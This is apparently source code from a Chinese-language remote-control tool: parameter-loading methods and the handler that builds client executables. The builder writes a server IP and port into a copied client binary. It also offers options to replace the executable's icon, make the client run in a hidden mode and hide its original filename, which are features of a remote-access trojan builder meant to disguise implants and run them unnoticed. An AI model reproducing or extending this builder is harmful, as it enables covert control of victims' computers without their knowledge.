static void ReadParameters() { if (isTestMode) { clientParameters.SetServerIP("192.168.0.106"); clientParameters.ServerPort = 10086; clientParameters.OnlineAvatar = ""; clientParameters.ServiceName = ""; } else { string filePath = System.Reflection.Assembly.GetExecutingAssembly().Location; clientParameters = ClientParametersManager.ReadParameters(filePath); } Console.WriteLine("参数信息:"); Console.WriteLine("IP:" + clientParameters.GetServerIP()); Console.WriteLine("PORT:" + clientParameters.ServerPort); }
static ClientParameters ReadParameters() { ClientParameters paras = new ClientParameters(); if (isTestMode) { paras.SetServerIP("192.168.1.136"); paras.ServerPort = 10086; paras.OnlineAvatar = ""; paras.ServiceName = ""; } else { string filePath = System.Reflection.Assembly.GetExecutingAssembly().Location; paras = ClientParametersManager.ReadParameters(filePath); } Console.WriteLine("参数信息:"); Console.WriteLine("IP:" + paras.GetServerIP()); Console.WriteLine("PORT:" + paras.ServerPort); return(paras); }
private void buttonGenClient_Click(object sender, EventArgs e) { string serverIP = this.textBoxServerIP.Text.Trim(); string serverPort = this.textBoxServerPort.Text.Trim(); int serverPortNum; if (!int.TryParse(serverPort, out serverPortNum)) { return; } if (string.IsNullOrWhiteSpace(this.textBoxServiceName.Text)) { return; } string serviceName = this.textBoxServiceName.Text.Trim(); string avatar = this.pictureBoxAvatar.Tag.ToString(); bool showOriginalFilename = this.checkBoxShowOriginalFileName.Checked; // 保存配置 this.buttonSaveServerSetting.PerformClick(); SaveFileDialog dialog = new SaveFileDialog(); dialog.Filter = "可执行程序(*.exe)|*.exe|所有文件(*.*)|*.*"; dialog.FilterIndex = 1; dialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); if (dialog.ShowDialog() == System.Windows.Forms.DialogResult.OK) { ClientParameters para = new ClientParameters(); para.SetServerIP(serverIP); para.ServerPort = serverPortNum; para.ServiceName = serviceName; para.OnlineAvatar = avatar; byte[] fileBytes = null; if (System.IO.File.Exists("RemoteControl.Client.dat")) { // 读取本地文件 fileBytes = System.IO.File.ReadAllBytes("RemoteControl.Client.dat"); } else { MsgBox.Info("RemoteControl.Client.dat文件丢失!"); return; // 读取资源文件 //fileBytes = ResUtil.GetResFileData("RemoteControl.Client.dat"); } // 拷贝文件 System.IO.File.WriteAllBytes(dialog.FileName, fileBytes); // 修改图标 if (this.checkBoxAppIcon.Checked && this.pictureBoxAppIcon.Tag != null && System.IO.File.Exists(this.pictureBoxAppIcon.Tag.ToString())) { IconChanger.ChangeIcon(dialog.FileName, this.pictureBoxAppIcon.Tag as string); } fileBytes = System.IO.File.ReadAllBytes(dialog.FileName); // 修改启动模式 ClientParametersManager.WriteClientStyle(fileBytes, this.checkBoxHideClient.Checked ? ClientParametersManager.ClientStyle.Hidden : ClientParametersManager.ClientStyle.Normal); if (!showOriginalFilename) { // 隐藏原始文件名 ClientParametersManager.HideOriginalFilename(fileBytes); } // 修改参数 ClientParametersManager.WriteParameters(fileBytes, dialog.FileName, para); MsgBox.Info("客户端生成成功!"); } }